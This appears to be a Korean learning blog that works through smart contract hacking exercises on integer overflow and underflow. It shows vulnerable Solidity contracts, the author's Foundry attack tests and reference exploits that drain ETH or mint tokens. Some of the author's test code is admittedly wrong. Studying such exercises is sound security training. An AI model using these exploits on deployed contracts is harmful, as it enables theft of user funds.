아래 컨트랙트 취약점을 찾아서 토큰을 더 많이 가져가면 된다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
/**
* @title SimpleToken
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract SimpleToken {
address public minter;
mapping(address => uint) public getBalance;
uint public totalSupply;
constructor() {
minter = msg.sender;
}
function mint(address _to, uint _amount) external {
require(msg.sender == minter, "not minter");
getBalance[_to] += _amount;
}
function transfer(address _to, uint _value) public returns (bool) {
require(getBalance[msg.sender] - _value >= 0);
getBalance[msg.sender] -= _value;
getBalance[_to] += _value;
return true;
}
}
transfer를 내 주소로 계속 호출하면 될 듯? 테스트코드를 작성해보자.
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/arithmetic-overflows-2/SimpleToken.sol";
interface IERC20 {
function approve(address, uint256) external;
}
/**
@dev run "forge test --match-contract AO2"
*/
contract TestA02 is Test {
address deployer;
address[] public attackers;
SimpleToken simpleToken;
function setUp() public {
deployer = address(1);
attackers[0] = address(2);
attackers[1] = address(3);
attackers[2] = address(4);
attackers[3] = address(5);
vm.startPrank(deployer);
simpleToken = new SimpleToken();
simpleToken.mint(deployer, 100000 ether);
simpleToken.mint(attackers[0], 10 ether);
vm.stopPrank();
assertEq(address(deployer).balance, 100000 ether);
assertEq(address(attackers[0]).balance, 10 ether);
}
function test_attack() public {
vm.startPrank(attackers[0]);
IERC20(simpleToken).approve(attackers[0], type(uint256).max);
for(uint256 i=1; i<4; i++) {
simpleToken.transfer(attackers[i], 2.5 ether);
}
vm.stopPrank();
assertEq(address(attackers[0]).balance, 2.5 ether);
assertEq(address(attackers[1]).balance, 2.5 ether);
assertEq(address(attackers[2]).balance, 2.5 ether);
assertEq(address(attackers[3]).balance, 2.5 ether);
//각 attacker approve
for(uint256 i=1; i<4; i++) {
IERC20(simpleToken).approve(attackers[i], type(uint256).max);
}
//각자 18번씩 자신에게 토큰 전송
for(uint256 l=0; l<18; l++){
for (uint256 i=0; i<4; i++) {
vm.prank(attackers[i]);
simpleToken.transfer(attackers[i], address(attackers[i]).balance);
}
}
//attacker1에게 몰아주기
for(uint256 i=1; i<4; i++) {
vm.prank(attackers[i]);
simpleToken.transfer(attackers[0], address(attackers[i]).balance);
}
assertEq(address(attackers[0]).balance > 1000000 ether, true);
}
아래는 모범답안이다.
contract TestAO2 is Test {
SimpleToken simpleToken;
address deployer;
address attacker1;
address attacker2;
uint256 attacker1Balance;
function setUp() public {
deployer = address(1);
attacker1 = address(2);
attacker2 = address(3);
vm.startPrank(deployer);
simpleToken = new SimpleToken();
simpleToken.mint(deployer, 10000 ether);
simpleToken.mint(attacker1, 10 ether);
vm.stopPrank();
}
function test() public {
vm.prank(attacker1);
simpleToken.transfer(attacker2, 12 ether);
// Attacker should have a lot of tokens (at least more than 1 million)
assertEq(simpleToken.getBalance(attacker1) > 1000000 ether, true);
}
}
나름 테스트코드를 열심히 짰는데 뭔가 에러가 계속 났다.. 나중에 알고 보니 simple token이 erc-20 규격을 만족하지 않는 그냥 mint
, transfer
만 있는 토큰이었던 것.. 따라서 approve도 할 필요 없고 그냥 계속 transfer
만 하면 됐었다. 😾
이번 예제는 조금 김이 빠지는 문제였다.
아래 컨트랙트에서 취약점을 찾아 이더를 탈취해보자.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
import "./AIvestToken.sol";
/**
* @title AIvestICO
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract AIvestICO {
uint256 constant public SALE_PERIOD = 3 days;
AIvestToken public token;
uint256 public startTime;
address public admin;
modifier onlyAdmin() {
require(msg.sender == admin, "not admin");
_;
}
constructor() {
token = new AIvestToken();
admin = msg.sender;
startTime = block.timestamp;
}
function buy(uint256 numTokens) public payable {
require(block.timestamp <= startTime + SALE_PERIOD, "ICO is over");
// 1 ETH = 10 Tokens (1 Token = 0.1 ETH)
require(msg.value == numTokens * 10 / 100, "wrong ETH amount sent");
token.mint(msg.sender, numTokens);
}
function refund(uint256 numTokens) public {
require(block.timestamp < startTime + SALE_PERIOD, "ICO is over");
token.burn(msg.sender, numTokens);
// 1 ETH = 10 Tokens (1 Token = 0.1 ETH)
payable(msg.sender).call{value: numTokens * 10 / 100}("");
}
function adminWithdraw() external onlyAdmin {
require(block.timestamp > startTime + SALE_PERIOD, "only when sale is over");
payable(msg.sender).call{value: address(this).balance}("");
}
function adminMint(address _to, uint256 _amount) external onlyAdmin {
token.mint(_to, _amount);
}
function changeAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
admin = _newAdmin;
}
}
contract TestA03 is Test {
address deployer;
address investor1;
address investor2;
address investor3;
address attacker;
AIvestICO ico;
uint256 constant ONE_TOKEN = 1 ether;
function setUp() public {
deployer = address(1);
investor1 = address(2);
investor2 = address(3);
investor3 = address(4);
attacker = address(5);
vm.deal(deployer, 1 ether);
vm.deal(investor1, 1 ether);
vm.deal(investor2, 1 ether);
vm.deal(investor3, 1 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(deployer);
vm.warp(100);
ico = new AIvestICO();
vm.stopPrank();
vm.prank(investor1);
ico.buy{value: 1 ether}(10 * ONE_TOKEN);
vm.prank(investor2);
ico.buy{value: 1 ether}(10 * ONE_TOKEN);
vm.prank(investor3);
ico.buy{value: 1 ether}(10 * ONE_TOKEN);
assertEq(address(ico).balance, 3 ether);
}
function test_attack() public {
vm.startPrank(attacker);
vm.warp(110);
for (uint256 i=0; i<(6 * ONE_TOKEN); i++) {
ico.buy(5);
}
vm.stopPrank();
assertEq(address(attacker).balance, 1 ether);
assertEq(IERC20(address(ico.token())).balanceOf(address(attacker)), 30 * ONE_TOKEN);
vm.startPrank(attacker);
IERC20(address(ico.token())).approve(attacker, type(uint256).max);
for (uint256 i=0; i<10; i++) {
ico.refund(3 * ONE_TOKEN);
}
vm.stopPrank();
assertEq(IERC20(address(ico.token())).balanceOf(address(attacker)), 6 * ONE_TOKEN);
assertEq(address(attacker).balance, 3 ether);
assertEq(address(ico).balance, 0);
}
}
이런 식으로 작성해서 환불러시 했더니 테스트 코드가 도중에 멈췄다..ㅋㅋㅋ 내가 간과한 게 하나 있었는데 처음에 토큰 9개를 산다는 것은 decimal을 고려하지 않고 떠올린 방법이었다. 즉 토큰 9개는 9 * 10^(-18)
개를 의미하는 것이였고, 갯수가 너무 적어서 공짜로 토큰을 마련하기 위해서는 너무 많은 트랜잭션을 일으켜야 하는 문제가 발생한다. 그렇다면 모범답안에선 어떻게 접근했을까?
핵심만 살펴보자.
vm.startPrank(attacker);
uint256 val = MAX_UINT / 10 + 1;
ico.buy(val);
uint256 refund = 674 ether * 10;
ico.refund(refund);
vm.stopPrank();
MAX_UINT / 10 + 1
만큼 토큰을 구매하고 많은 양의 이더를 탈취해갔다. 차이점은 다음과 같다. 내가 나눗셈을 이용해 Underflow를 만들려고 한 것에 비해 모범답안에서는 나눗셈을 이용해 Overflow를 만든 것이다. Overflow를 이용하면 공짜로 더 많은 토큰을 민팅할 수 있다.
나누기 10으로 buy
함수 안에 있는 * 10
을 상쇄하고 1을 더해서 0으로 만들어 버리면 필요한 이더는 0개가 되기 때문.
function buy(uint256 numTokens) public payable {
require(block.timestamp <= startTime + SALE_PERIOD, "ICO is over");
// 1 ETH = 10 Tokens (1 Token = 0.1 ETH)
require(msg.value == numTokens * 10 / 100, "wrong ETH amount sent");
token.mint(msg.sender, numTokens);
}
결론은 Underflow, Overflow 둘 다 고려해야 한다는 점.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title PumpMeToken
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract PumpMeToken {
using SafeMath for uint;
mapping(address => uint) balances;
uint public totalSupply;
address public manager;
constructor(uint _initialSupply) {
manager = msg.sender;
balances[msg.sender] = totalSupply = _initialSupply;
}
modifier onlyManager {
require(msg.sender == manager, "only manager function!");
_;
}
function mint(address to, uint amount) external onlyManager {
balances[to] = balances[to].add(amount);
totalSupply = totalSupply.add(amount);
}
function transfer(address _to, uint _value) external returns (bool) {
require(balances[msg.sender] >= _value, "Not enough balance");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
function batchTransfer(address[] memory _receivers, uint _value) external returns (bool) {
uint totalAmount = _receivers.length * _value;
require(_value > 0, "Value can't be 0" );
require(balances[msg.sender] >= totalAmount, "Not enough tokens");
balances[msg.sender].sub(totalAmount);
for(uint i = 0; i < _receivers.length; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
}
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
이전 예제들과 다르게 SafeMath 라이브러리가 추가됐다. 그런데 그렇다고 해도 underflow 공격이 불가능할 것 같진 않다. .sub()
을 이용하면 가능할 것 같기도 하다.
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/arithmetic-overflows-4/PumpMeToken.sol";
/**
@dev run "forge test --match-contract AO4"
*/
contract TestA04 is Test {
PumpMeToken token;
address deployer;
address attacker;
address[] public receivers;
uint256 constant ONE_MIL = 1000000;
uint256 constant attack_value = type(uint256).max / 2;
function setUp() public {
deployer = address(1);
attacker = address(2);
receivers.push(deployer);
receivers.push(attacker);
vm.startPrank(deployer);
token = new PumpMeToken(ONE_MIL);
token.mint(deployer, ONE_MIL);
vm.stopPrank();
}
function test_attack() public {
assertEq(token.balanceOf(attacker), 0);
vm.startPrank(attacker);
token.batchTransfer(receivers, attack_value + 1);
vm.stopPrank();
assertEq(token.balanceOf(attacker), attack_value + 1);
}
}
.sub()
을 이용하려고 했으나 attacker가 토큰을 아예 들고 있지 않아서 underflow 공격을 할 수는 없었다. 대신 batchTransfer()
를 이용해서 overflow 공격이 가능했다.